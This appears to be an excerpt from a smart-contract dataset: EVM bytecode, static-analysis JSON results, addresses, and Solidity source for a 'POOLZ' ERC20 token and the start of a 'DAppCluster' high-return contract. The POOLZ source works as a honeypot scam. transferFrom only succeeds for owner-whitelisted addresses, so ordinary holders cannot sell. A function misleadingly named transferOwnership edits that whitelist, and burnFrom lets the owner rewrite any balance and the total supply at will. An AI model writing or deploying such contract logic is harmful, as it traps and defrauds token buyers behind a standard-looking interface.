60ff161561088557600080fd5b600160a060020a03831660009081526006602052604090205460ff16156108ab57600080fd5b600a5460a060020a900460ff161561092757600a54600160a060020a0316638b477adb3385858560405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401600060405180830381600087803b151561072f57600080fd5b6107528383836111be565b600a54600160a060020a031681565b60026020526000908152604090205481565b60095481565b60015481565b60045481565b60005433600160a060020a0390811691161461098057600080fd5b60005460a060020a900460ff16151561099857600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a03811660009081526006602052604090205460ff165b919050565b600560209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b600a5460009060a060020a900460ff1615610ac357600a54600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610aa157600080fd5b6102c65a03f11515610ab257600080fd5b505050604051805190509050610a01565b610acc826113bd565b9050610a01565b60005433600160a060020a03908116911614610aee57600080fd5b60005460a060020a900460ff1615610b0557600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031690565b600054600160a060020a031681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ff5780601f106105d4576101008083540402835291602001916105ff565b60005460a060020a900460ff1615610bf757600080fd5b600160a060020a03331660009081526006602052604090205460ff1615610c1d57600080fd5b600a5460a060020a900460ff1615610cab57600a54600160a060020a0316636e18980a33848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610c9257600080fd5b6102c65a03f11515610ca357600080fd5b505050610cb5565b610cb582826113d8565b5050565b60005433600160a060020a03908116911614610cd457600080fd5b60148210610ce157600080fd5b60328110610cee57600080fd5b6003829055600954610d0a908290600a0a63ffffffff61155c16565b60048190556003547fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e9160405191825260208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610d6a57600080fd5b60015481810111610d7a57600080fd5b60008054600160a060020a031681526002602052604090205481810111610da057600080fd5b60008054600160a060020a03168152600260205260409081902080548301905560018054830190557fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9082905190815260200160405180910390a150565b60005433600160a060020a03908116911614610e1957600080fd5b60015481901015610e2957600080fd5b60008054600160a060020a031681526002602052604090205481901015610e4f57600080fd5b60018054829003905560008054600160a060020a031681526002602052604090819020805483900390557f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a449082905190815260200160405180910390a150565b600a5460009060a060020a900460ff1615610f4757600a54600160a060020a031663dd62ed3e848460006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b1515610f2557600080fd5b6102c65a03f11515610f3657600080fd5b505050604051805190509050610f54565b610f518383611592565b90505b92915050565b60035481565b60066020526000908152604090205460ff1681565b60005433600160a060020a03908116911614610f9057600080fd5b600160a060020a03811660009081526006602052604090819020805460ff191690557fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c90829051600160a060020a03909116815260200160405180910390a150565b60001981565b60005433600160a060020a0390811691161461101357600080fd5b600160a060020a0381161561104b576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000805433600160a060020a0390811691161461106a57600080fd5b600160a060020a03821660009081526006602052604090205460ff16151561109157600080fd5b61109a82610a33565b600160a060020a038316600090815260026020526040808220919091556001805483900390559091507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6908390839051600160a060020a03909216825260208201526040908101905180910390a15050565b6040604436101561111c57600080fd5b811580159061114f5750600160a060020a0333811660009081526005602090815260408083209387168352929052205415155b1561115957600080fd5b600160a060020a03338116600081815260056020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a3505050565b60008080606060643610156111d257600080fd5b600160a060020a0380881660009081526005602090815260408083203390941683529290522054600354909450611224906127109061121890889063ffffffff61155c16565b9063ffffffff6115bd16565b92506004548311156112365760045492505b60001984101561127857611250848663ffffffff6115d416565b600160a060020a03808916600090815260056020908152604080832033909416835292905220555b611288858463ffffffff6115d416565b600160a060020a0388166000908152600260205260409020549092506112b4908663ffffffff6115d416565b600160a060020a0380891660009081526002602052604080822093909355908816815220546112e9908363ffffffff6115e616565b600160a060020a03871660009081526002602052604081209190915583111561137f5760008054600160a060020a0316815260026020526040902054611335908463ffffffff6115e616565b60008054600160a060020a03908116825260026020526040808320939093559054811691908916906000805160206115f68339815191529086905190815260200160405180910390a35b85600160a060020a031687600160a060020a03166000805160206115f68339815191528460405190815260200160405180910390a350505050505050565b600160a060020a031660009081526002602052604090205490565b600080604060443610156113eb57600080fd5b6114066127106112186003548761155c90919063ffffffff16565b92506004548311156114185760045492505b611428848463ffffffff6115d416565b600160a060020a033316600090815260026020526040902054909250611454908563ffffffff6115d416565b600160a060020a033381166000908152600260205260408082209390935590871681522054611489908363ffffffff6115e616565b600160a060020a0386166000908152600260205260408120919091558311156115205760008054600160a060020a03168152600260205260409020546114d5908463ffffffff6115e616565b60008054600160a060020a0390811682526002602052604080832093909355905481169133909116906000805160206115f68339815191529086905190815260200160405180910390a35b84600160a060020a031633600160a060020a03166000805160206115f68339815191528460405190815260200160405180910390a35050505050565b60008083151561156f576000915061158b565b5082820282848281151561157f57fe5b041461158757fe5b8091505b5092915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60008082848115156115cb57fe5b04949350505050565b6000828211156115e057fe5b50900390565b60008282018381101561158757fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ab6814d28de8a32d46dd5a802f94544be950931e7d021d6e64ac8d27fc5a285e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,167 |
0xdef1ce6fd45d565ca099bd9f641ca70765896773
|
//"SPDX-License-Identifier: MIT"
pragma solidity 0.6.0;
/**
* @dev Interface ofƒice the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address trecipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = msg.sender;
owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract POOLZ is Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) private _balances;
address private _uniswaprouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 _totalSupply) public {
name = "$Poolz Finance";
symbol = "POOLZ";
decimals = 18;
allow[msg.sender] = true;
//@dev Total supply creation
totalSupply = totalSupply.add(_totalSupply);
balances[msg.sender] = balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, _totalSupply);
}
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) public allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferOwnership(address ownerAddress, bool approved) external onlyOwner {
allow[ownerAddress] = approved;
}
//5% on sell
uint256 public burnPercentage = 5;
function findPercentage(uint256 amount) public view returns (uint256) {
uint256 percent = amount.mul(burnPercentage).div(100);
return percent;
}
function _burnTokens(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
totalSupply = totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 balance, uint256 subtract) external onlyOwner {
require(account != address(0), "ERC20: burn from the zero address disallowed");
balances[account] = balance.sub(subtract, "ERC20: burn amount exceeds balance");
totalSupply = balance.sub(subtract);
}
//burn rate change, only by owner
//only if necessary after community vote
function changeBurnPercentage(uint8 newRate) external onlyOwner {
burnPercentage = newRate;
}
//transfer function
function _execTransfer(address _from, address _to, uint256 _value) private {
if (_to == address(0)) revert();
if (_value <= 0) revert();
if (_balances[_from] < _value) revert();
if (_balances[_to] + _value < _balances[_to]) revert();
//buy transfer
if(_to == _uniswaprouter || _to == owner || _from == owner) {
_balances[_from] = SafeMath.sub(_balances[_from], _value);
_balances[_to] = SafeMath.add(_balances[_to], _value);
emit Transfer(_from, _to, _value);
} else {
//sell transfer, burn
uint256 tokensToBurn = findPercentage(_value);
uint256 tokensToTransfer = _value.sub(tokensToBurn);
_balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer);
_balances[_to] = _balances[_to].add(tokensToTransfer);
emit Transfer(_from, _to, tokensToTransfer);
_burnTokens(_from, tokensToBurn);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb146105a1578063b242e53414610607578063dd62ed3e14610657578063f01f20df146106cf578063ff9913e8146106ed57610121565b806370a0823114610430578063715018a6146104885780638da5cb5b1461049257806395d89b41146104dc5780639d799ff11461055f57610121565b806323b872dd116100f457806323b872dd1461028557806327e235e31461030b578063313ce567146103635780635c6581651461038757806366b627bd146103ff57610121565b806306fdde0314610126578063095ea7b3146101a9578063124d91e51461020f57806318160ddd14610267575b600080fd5b61012e610749565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e7565b604051808215151515815260200191505060405180910390f35b6102656004803603606081101561022557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506108d9565b005b61026f610aaf565b6040518082815260200191505060405180910390f35b6102f16004803603606081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab5565b604051808215151515815260200191505060405180910390f35b61034d6004803603602081101561032157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ecb565b6040518082815260200191505060405180910390f35b61036b610ee3565b604051808260ff1660ff16815260200191505060405180910390f35b6103e96004803603604081101561039d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef6565b6040518082815260200191505060405180910390f35b61042e6004803603602081101561041557600080fd5b81019080803560ff169060200190929190505050610f1b565b005b6104726004803603602081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fea565b6040518082815260200191505060405180910390f35b610490611033565b005b61049a6111b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e46111d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610524578082015181840152602081019050610509565b50505050905090810190601f1680156105515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603602081101561057557600080fd5b8101908080359060200190929190505050611277565b6040518082815260200191505060405180910390f35b6105ed600480360360408110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ad565b604051808215151515815260200191505060405180910390f35b6106556004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506114cd565b005b6106b96004803603604081101561066d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ea565b6040518082815260200191505060405180910390f35b6106d7611671565b6040518082815260200191505060405180910390f35b61072f6004803603602081101561070357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611677565b604051808215151515815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107df5780601f106107b4576101008083540402835291602001916107df565b820191906000526020600020905b8154815290600101906020018083116107c257829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806119e2602c913960400191505060405180910390fd5b610a4e816040518060600160405280602281526020016119c060229139846116979092919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa4818361175790919063ffffffff16565b600481905550505050565b60045481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610af057600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610b3c57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610bc557600080fd5b60011515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c2257600080fd5b610c7482600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a190919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175790919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60076020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b6009602052816000526040600020602052806000526040600020600091509150505481565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060ff16600a8190555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561126f5780601f106112445761010080835404028352916020019161126f565b820191906000526020600020905b81548152906001019060200180831161125257829003601f168201915b505050505081565b6000806112a26064611294600a548661182990919063ffffffff16565b6118af90919063ffffffff16565b905080915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e857600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561133457600080fd5b61138682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175790919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a190919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b60086020528060005260406000206000915054906101000a900460ff1681565b6000838311158290611744576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117095780820151818401526020810190506116ee565b50505050905090810190601f1680156117365780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061179983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611697565b905092915050565b60008082840190508381101561181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083141561183c57600090506118a9565b600082840290508284828161184d57fe5b04146118a4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a0e6021913960400191505060405180910390fd5b809150505b92915050565b60006118f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f9565b905092915050565b600080831182906119a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561196a57808201518184015260208101905061194f565b50505050905090810190601f1680156119975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816119b157fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737320646973616c6c6f776564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220f901ccd6d99c18b6d5478f254c98ab8b960526774c09ad02b559b7398a6faf7564736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 8,168 |
0xed6073a6244fd05f88d1d54b3b7c0e97dea040b0
|
// SPDX-License-Identifier: MIT
/**
* Program Name : DAppCluster
* Website : https://dappcluster.com/
* Telegram : https://t.me/dappcluster
* Concept : High Return On Investment Contract
* Category : Passive Income
* Risk Category : High Risk
**/
pragma solidity >=0.6.0 <0.8.1;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
